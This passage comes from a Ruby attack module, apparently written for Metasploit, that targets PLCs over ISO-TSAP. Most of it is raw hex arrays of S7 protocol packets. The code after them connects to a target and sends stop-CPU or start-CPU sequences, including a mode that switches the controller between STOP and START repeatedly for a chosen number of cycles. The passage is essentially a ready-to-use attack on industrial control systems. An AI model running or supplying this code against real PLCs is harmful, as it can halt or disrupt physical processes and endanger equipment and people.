                "\x72\x69\x70\x74\x69\x6f\x6e\x5f"+
                "\x31\x35\x36\x30\x32\x38\x31\x30"+
                "\x38\x38\xa3\x87\x6a\x00\x03\x00"+
                "\x00\xa3\x87\x6b\x00\x09\x00\xa3"+
                "\x88\x10\x00\x02\x02\xa3\x88\x11"+
                "\x00\x01\x01\xa1\x5d\x00\x00\x02"+
                "\x94\x66\x00\x00\xa3\x81\x69\x00"+
                "\x15\x00\xa3\x87\x6d\x00\x02\x02"+
                "\xa3\x94\x63\x10\x03\x0a\x00\x00"+
                "\x00\x00\x00\x00\x00\x00\x00\x00"+
                "\x00\x00\x00\x00\x00\x00\x00\x00"+
                "\x00\x00\xa4\x94\x64\x00\x00\x00"+
                "\x08\xa2\xa2\x00\x00\x00\x00\x72"+
                "\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x40\x02\xf0\x80\x72"+
                "\x01\x00\x31\x31\x00\x00\x04\xfc"+
                "\x00\x00\x00\x1a\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x22\x01\x93\x11"+
                "\x00\x00\x04\xe8\x89\x69\x00\x12"+
                "\x00\x00\x00\x00\x89\x6a\x00\x13"+
                "\x00\x89\x6b\x00\x04\x00\x00\x00"+
                "\x00\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x1b\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x40\x02\xf0\x80\x72"+
                "\x01\x00\x31\x31\x00\x00\x04\xfc"+
                "\x00\x00\x00\x1c\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x22\x01\x93\x11"+
                "\x00\x00\x04\xe8\x89\x69\x00\x12"+
                "\x00\x00\x00\x00\x89\x6a\x00\x13"+
                "\x00\x89\x6b\x00\x04\x00\x00\x00"+
                "\x00\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x40\x02\xf0\x80\x72"+
                "\x01\x00\x31\x31\x00\x00\x04\xfc"+
                "\x00\x00\x00\x1d\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x32\x01\x9a\x7b"+
                "\x00\x00\x04\xe8\x89\x69\x00\x12"+
                "\x00\x00\x00\x00\x89\x6a\x00\x13"+
                "\x00\x89\x6b\x00\x04\x00\x00\x00"+
                "\x00\x00\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\xfe\x02\xf0\x80\x72"+
                "\x01\x00\xef\x31\x00\x00\x04\xca"+
                "\x00\x00\x00\x1e\x00\x00\x03\x84"+
                "\x30\x00\x00\x03\x85\x00\x04\x00"+
                "\x00\x00\x00\x00\xa1\x5d\x00\x00"+
                "\x03\x87\x69\x00\x00\xa3\x81\x69"+
                "\x00\x15\x17\x53\x75\x62\x73\x63"+
                "\x72\x69\x70\x74\x69\x6f\x6e\x5f"+
                "\x31\x35\x36\x30\x32\x38\x31\x30"+
                "\x39\x31\xa3\x87\x6a\x00\x03\x00"+
                "\x00\xa3\x87\x6b\x00\x09\x00\xa3"+
                "\x88\x10\x00\x02\x01\xa3\x88\x11"+
                "\x00\x01\x01\xa1\x5d\x00\x00\x05"+
                "\x87\x72\x00\x00\xa3\x81\x69\x00"+
                "\x15\x13\x41\x74\x74\x72\x69\x62"+
                "\x75\x74\x52\x65\x66\x65\x72\x65"+
                "\x6e\x63\x65\x5f\x31\xa3\x87\x6d"+
                "\x00\x02\x05\xa3\x87\x6f\x00\x12"+
                "\x00\x00\x00\x03\xa3\x87\x70\x00"+
                "\x12\x00\x00\x00\x01\xa3\x87\x73"+
                "\x20\x04\x01\x93\x2f\xa3\x88\x05"+
                "\x00\x04\x00\xa2\xa1\x5d\x00\x00"+
                "\x06\x87\x72\x00\x00\xa3\x81\x69"+
                "\x00\x15\x13\x41\x74\x74\x72\x69"+
                "\x62\x75\x74\x52\x65\x66\x65\x72"+
                "\x65\x6e\x63\x65\x5f\x32\xa3\x87"+
                "\x6d\x00\x02\x02\xa3\x87\x6f\x00"+
                "\x12\x00\x00\x00\x03\xa3\x87\x70"+
                "\x00\x12\x00\x00\x00\x01\xa3\x87"+
                "\x73\x20\x04\x01\x9c\x33\xa3\x88"+
                "\x05\x00\x04\x00\xa2\xa2\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x2b\x02\xf0\x80\x72"+
                "\x01\x00\x1c\x31\x00\x00\x04\xbb"+
                "\x00\x00\x00\x1f\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x03\x00\x01\x01"+
                "\x01\x00\x00\x00\x00\x00\x00\x72"+
                "\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x43\x02\xf0\x80\x72"+
                "\x01\x00\x34\x31\x00\x00\x04\xf2"+
                "\x00\x00\x00\x20\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x01\x90\x77"+
                "\x00\x08\x03\x00\x00\x04\xe8\x89"+
                "\x69\x00\x12\x00\x00\x00\x00\x89"+
                "\x6a\x00\x13\x00\x89\x6b\x00\x04"+
                "\x00\x00\x00\x00\x00\x00\x00\x72"+
                "\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x21\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x22\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00",
                 
                "\x03\x00\x00\x46\x02\xf0\x80\x72"+
                "\x01\x00\x37\x31\x00\x00\x05\x4c"+
                "\x00\x00\x00\x23\x00\x00\x03\x84"+
                "\x30\x00\x00\x00\x34\x04\x04\x91"+
                "\x3d\x9c\x68\x9c\x67\x81\x69\x00"+
                "\x00\x04\xe8\x89\x69\x00\x12\x00"+
                "\x00\x00\x00\x89\x6a\x00\x13\x00"+
                "\x89\x6b\x00\x04\x00\x00\x00\x00"+
                "\x00\x00\x72\x01\x00\x00",
                 
                "\x03\x00\x00\x07\x02\xf0\x00"
              ]
                 
    if(cpu == 1)
        connect()
        stop_cpu_pkt.each do |i|
        sock.put("#{i}")
        sleep(0.005)
        end
    end
    if(cpu == 2)
        connect()
        start_cpu_pkt.each do |i|
        sock.put("#{i}")
        sleep(0.005)
        end
    end
    for n in 0..cycles
    if(cpu == 3)
        connect()
        stop_cpu_pkt.each do |i|
        sock.put("#{i}")
        sleep(0.005)
        end
        connect()
        start_cpu_pkt.each do |i|
        sock.put("#{i}")
        sleep(0.005)
        end
    end
    end
    data = sock.get_once() 
        print_good("#{ip} is up, iso-tsap is open.")
    if(cpu == 'true')
        print_status("Putting the PLC into START mode.")
            elsif(cpu == 'false')
                print_status("Putting the PLC into STOP mode.")
            end
            disconnect()
            rescue ::EOFError
        end
    end
end